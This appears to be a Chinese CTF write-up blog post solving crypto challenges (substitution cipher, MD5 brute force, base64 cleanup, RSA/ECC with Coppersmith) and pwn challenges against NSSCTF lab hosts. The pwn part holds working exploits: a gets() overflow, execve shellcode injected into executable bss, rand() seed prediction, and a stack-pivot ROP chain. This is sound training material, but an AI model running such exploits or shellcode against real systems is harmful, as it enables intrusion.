没时间参加,作了几个补了几个。
通过js作的字符替换,再整个表替换回去即可。只是一直不清楚python里的字典怎么把键和值互换。把原程序里替换后就是键和值,反过来没有函数。
cipher = '+}!q")hiim)#}-nvm)i-$#mvn#0mnbm)im#n+}!qnm8)i-$#mvnoc#0nz<$9inm!>-n1:1-nm8)i-$~c58n!}qhij#0[noic##m8nc8n?!8c}w!n]>&'
tab1 = {'a':'!','b':'1','c':')','d':'v','e':'m','f':'+','g':'q','h':'0','i':'c','j':']','k':'(','l':'}','m':'[','n':'8','o':'5','p':'$','q':'*','r':'i','s':'>','t':'#','u':'<','v':'?','w':'o','x':'^','y':'-','z':'_','0':'h','1':'w','2':'e','3':'9','4':'g','5':'z','6':'d','7':'~','8':'=','9':'x','!':'j','@':':','#':'4','$':'b','%':'`','^':'l','&':'3','*':'t','(':'6',')':'s','_':'n','+':';','-':'\'','=':'r','`':'k','~':'p','{':'\"','}':'&','[':'/',']':'\\','|':'2',':':'.',';':'%','\"':'|','\'':',','<':'@','>':'{',',':'u','.':'7','?':'y','/':'a'}
tab2 = {}
for v in tab1:
tab2[tab1[v]]= v
plain = ''.join([tab2[c] for c in cipher])
print(plain)
#flag{c0rrectly_decrypted_the_$ecret_flag_encrypted_with_5up3r_easy_b@by_encryp7ion_alg0r!thm_written_in_vanil1a_js}
lua写的程序,好在md5大家都是一样的。
local flag = '' --这里是你要逆推出的flag
local md5 = require("md5")
math.randomseed(os.time())
local function randomStr(len)
local rankStr = ""
local randNum = 0
for i = 1, len do
randNum = math.random(1, 2)
if randNum == 1 then
rankStr = rankStr .. string.char(math.random(65, 90))
elseif randNum == 2 then
rankStr = rankStr .. string.char(math.random(97, 122))
end
end
return rankStr
end
local seed = randomStr(4)
local key = md5.sumhexa(md5.sumhexa(seed))
print(key:sub(1,10))
secret = {}
for i = 1, #flag do
secret[i] = string.byte(flag:sub(i,i)) + string.byte(key:sub(i,i))
end
for i, v in ipairs(secret) do
io.write(v, ' ')
end
print()
--程序运行输出结果:
--b5e62abe84
--200 161 198 157 173 169 199 150 105 163 193 175 173 194 135 131 135 225
--请你分析代码,逆向推出flag
题目由4个字符的key来加密,直接爆破key就行了
from pwn import *
import string
from hashlib import md5
found = iters.bruteforce(lambda x: md5(md5(x.encode()).hexdigest().encode()).hexdigest()[:10] == 'b5e62abe84', string.ascii_letters,4)
print(found)
key = md5(md5(b'kKpU').hexdigest().encode()).hexdigest().encode()
c = [200,161,198,157,173,169,199,150,105,163,193,175,173,194,135,131,135,225]
p = [c[i]-key[i] for i in range(len(c))]
print(bytes(p))
#flag{He11o_Lua!!!}
这个没弄出来,后来问的别人。
题目把一个压缩包base64后插入好多fake base64后的值。当直接b64decode后由于插入的位置不是整4字符的位置,导致出现乱码无法把全部的fake删除。
所有fake长度都是3的倍数,编码后没有=
from base64 import *
msg = open('Magic_Of_Encoding.txt','rb').read()
blist = [b'flag{Xd_fake_flag_xD}', b'find_me_if_you_can', b'flag{not_the_correct_flag_lol}',
b'\nflag{not_the_correct_flag_lol}\nflag{not_the_correct_flag_lol}\n']
#这些数据夹在密文中间(每段密文不都是3的整数倍,解码后会出现混乱,要先删除再解码)
for i in blist:
msg = msg.replace(b64encode(i), b'')
open('aaa.zip', 'wb').write(b64decode(msg))
这个也没弄出来,也是问的,不过从此学会了一个:epsilon
#!/usr/bin/env sage
import secret
from Crypto.Util.number import *
p, q = getPrime(512), getPrime(512)
e, n = 0x10001, p * q
c = pow(bytes_to_long(secret.flag), e, n)
print(f"{e = }\n{n = }\n{c = }")
a, b = getPrime(512), getPrime(512)
E = EllipticCurve(GF(p), [a, b])
G = E.lift_x(ZZ(getPrime(64)))
print(f"{a = }\n{b = }\ny = {G.xy()[1]}")
这题是两块第1块是RSA,第2块是ECC,其中ECC的模是RSA里的p
ECC给出参数a,b和一个点的y值,x值是64位的素数。
1,对于求知模的椭圆曲线方程,在模p的情况成立,在模n的情况下也成立。可以用n作模求点的x值。
卡在这里了,coppersmith方法一般使用两个参数X和beta,其中X是所求常量的范围,beta是n的幂,一般要小于0.5允许1位小数,也就是0.4
其实还有第3个参数,不常用忽略了。epsilon这个一般是beta/7 ,表示作格基规约时取的规模,值越小规模越大,这个题需要从0.05一点点调,0.02才能成功。当然0.01时也行,只是运行时间很长。
2,求出x值后再代入方程与n取公约数求p
e = 65537
n = 79239019133008902130006198964639844798771408211660544649405418249108104979283858140199725213927656792578582828912684320882248828512464244641351915288069266378046829511827542801945752252863425605946379775869602719406340271702260307900825314967696531175183205977973427572862807386846990514994510850414958255877
c = 45457869965165575324534408050513326739799864850578881475341543330291990558135968254698676312246850389922318827771380881195754151389802803398367341521544667542828862543407738361578535730524976113729406101764290984943061582342991118766322793847422471903811686775249409300301726906738475446634950949059180072008
a = 9303981927028382051386918702900550228062240363697933771286553052631411452412621158116514735706670764224584958899184294505751247393129887316131576567242619
b = 9007779281398842447745292673398186664639261529076471011805234554666556577498532370235883716552696783469143334088312327338274844469338982242193952226631913
y = 970090448249525757357772770885678889252473675418473052487452323704761315577270362842929142427322075233537587085124672615901229826477368779145818623466854
PR. = PolynomialRing(Zmod(n))
f = x^3 + a*x + b - y^2
#epsilon的话调得小对应的Lattice规模要大一点,应用起来的感觉就是耗时更长、求解的可能性更大
f.small_roots(X=2^64, beta=0.4, epsilon=0.02)
x = 9757458594430450711
p = gcd(int(f(x)),n)
q = n//p
phi = (p-1)*(q-1)
d = inverse_mod(e,phi)
m = pow(c,d,n)
bytes.fromhex(hex(m)[2:])
#flag{c4edd6d0-d1b3-cbda-95e3-a323edc35be5}
在check里password输入这用的gets有溢出,长度是15+v3+fd+v5,覆盖到v5即可。
int check()
{
int result; // eax
char buf[10]; // [rsp+7h] [rbp-29h] BYREF
char s1[15]; // [rsp+11h] [rbp-1Fh] BYREF
ssize_t v3; // [rsp+20h] [rbp-10h]
int fd; // [rsp+28h] [rbp-8h]
int v5; // [rsp+2Ch] [rbp-4h]
v5 = 0;
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
puts("Can't access /dev/urandom.");
exit(1);
}
v3 = read(fd, buf, 0xAuLL);
if ( v3 < 0 )
{
puts("Data not received from /dev/urandom");
exit(1);
}
close(fd);
puts("Password:");
gets(s1);
result = strcmp(s1, buf);
if ( result )
result = puts("I swore that was the right password ...");
else
v5 = 1;
if ( v5 )
{
puts("Guess I couldn't gaslight you!");
return print_flag();
}
return result;
}
from pwn import *
p = remote('node4.anna.nssctf.cn', 28243)
context(arch='amd64', log_level='debug')
p.sendlineafter(b"Password:", b'\x00'*15+ p32(1)*4)
p.recvline()
p.recvline()
p.recvline()
p.interactive()
这题也简单,bss可执行,只需要先写入shellcode再溢出跳过去就行,只是对shellcode长度有要求,不能超0x20,以前存了不少,有21字节的。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
puts("Please.");
read(0, &name, 0x25uLL);
puts("Nice to meet you.");
puts("Let's start!");
read(0, buf, 0x40uLL);
return 0;
}
from pwn import *
#p = process('./ezshellcode')
p = remote('node4.anna.nssctf.cn', 28804)
context(arch='amd64', log_level='debug')
code = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p.sendlineafter(b'Please.\n', code)
p.sendlineafter(b"Let's start!", b'\x00'*10 + p64(0x6010a0)*3)
p.interactive()
前两天才从网友这问了这个问题,今天就出现了。
对于libc的srand(time(0))得到的是系统时间的秒数作种子,本地和远端都使用ntp同步,时间差不到1秒很正常。所以本地也作个srand(time(0))就一样了。这题要猜120次。
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // eax
int v6; // [rsp+8h] [rbp-18h] BYREF
unsigned int i; // [rsp+Ch] [rbp-14h]
__int64 v8; // [rsp+10h] [rbp-10h]
unsigned __int64 v9; // [rsp+18h] [rbp-8h]
v9 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
v3 = time(0LL);
srand(v3);
v8 = 2772839826LL;
v4 = rand();
srand(v4 % 3 - 1522127470);
printf("\x1B[31m");
puts("\n\n");
puts(" ## ## ####### ####### ######## ####### ");
puts(" ## ## ### ## ## ## ");
puts(" ####### ### ## ## #### ");
puts(" ## ## ### ## ## ## ");
puts(" ## ## ####### ####### ## ## \n\n");
printf("\x1B[0m");
puts("Welcome!");
puts(aThereAreFourDo);
puts("Only one door leads to the right path. If you choose the wrong one, you will be killed by a trap.\n");
for ( i = 1; (int)i <= 120; ++i )
{
print_door();
printf("\t\t\tFloor %d\n\n", i);
__isoc99_scanf("%d", &v6);
if ( rand() % 4 + 1 != v6 )
{
printf("\x1B[31m");
puts("YOU DIED!");
printf("\x1B[0m");
return 0;
}
system("clear");
}
puts("Congratulation!");
cat_flag();
return 0;
}
直接用ctypes调用个libc即可(另外,并不用关心libc的版本,rand基本相同)
from pwn import *
from ctypes import *
p = remote('node5.anna.nssctf.cn', 28480)
context(arch='amd64', log_level='debug')
libc = cdll.LoadLibrary("./libc-2.31.so")
libc.srand(libc.time(0))
libc.srand( libc.rand() % 3 - 1522127470)
for i in range(120):
p.sendlineafter(b"", str(libc.rand() %4 + 1).encode())
p.recvline()
p.interactive()
还是随机数,跟上题一样,然后有溢出,但溢出很小,所以要用个移栈。同时需要用ORW,这样payload会比较长。
ssize_t vulnerable()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("your door");
return read(0, buf, 0x40uLL);
}
移栈会在leave ret时发生,会将rbp的值赋给rsp然后pop rdp然后再执行。
第1次由于rsp在栈上,位置不可控,所以要移到bss可写区里
第2次写入里在pay后部写两个然后向前移栈再进行写
第3次写到第1次后部让前边的0x10与后边的前0x20连一起,组成一个长的payload
这个payload执行read功能,向bss里写入orw
作完一想这里可能弄复杂了,第1次写完这里rsi是有值的,read的时候只需要pop rdx就行,那么两次移栈就行了,没必要弄3次。
from pwn import *
from ctypes import *
#p = remote('node5.anna.nssctf.cn', 28233)
p = process('./RANDOM')
context(arch='amd64', log_level='debug')
libc = cdll.LoadLibrary("./libc-2.31.so")
libc.srand(libc.time(0))
elf = ELF('./RANDOM')
libc_elf = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
pop_rdi = 0x0000000000400ae3 # pop rdi ; ret
pop_rsi = 0x0000000000400ae1 # pop rsi ; pop r15 ; ret
pop_rbp = 0x0000000000400951 # pop rbp ; ret
leave_ret = 0x400948
bss = 0x601800
p.sendlineafter(b"please input a guess num:", str(libc.rand()%50 ).encode())
pay = flat(pop_rdi, elf.got['setbuf'], 0x40092c)
p.sendafter(b"your door\n", b'\x00'*0x20 + p64(bss) + pay)
libc_elf.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['setbuf']
#gdb.attach(p, 'b*0x400947')
print(f"{libc_elf.address= :x}")
pop_rdx_rsi = libc_elf.address + 0x00000000001151c9 # pop rdx ; pop rsi ; ret #next(libc_elf.search(asm('pop rdx;pop rsi;ret')))
pop_rax = libc_elf.address + 0x000000000003a738 # pop rax ; ret #next(libc_elf.search(asm('pop rax;ret')))
# read(0,bss,0x100)
#
p.send(flat(bss+0x40,0x400931,0,0,bss-0x20,leave_ret, bss+0x38,pop_rdx_rsi))
p.send(flat(0x100,bss+0x20, libc_elf.sym['read'],0,bss+0x10, pop_rbp, bss+0x10,leave_ret))
par = [b'flag.txt',0,pop_rdi+1, pop_rdi+1, pop_rdi,bss+0x20, pop_rdx_rsi, 0, 0, libc_elf.sym['open'],
pop_rdi,3, pop_rdx_rsi, 0x100, 0x601900, libc_elf.sym['read'],
pop_rdi,1, pop_rdx_rsi, 0x100, 0x601900, libc_elf.sym['write']]
p.send(flat(par))
p.recv()
p.interactive()
这回的rev都很难,就签了个到算了。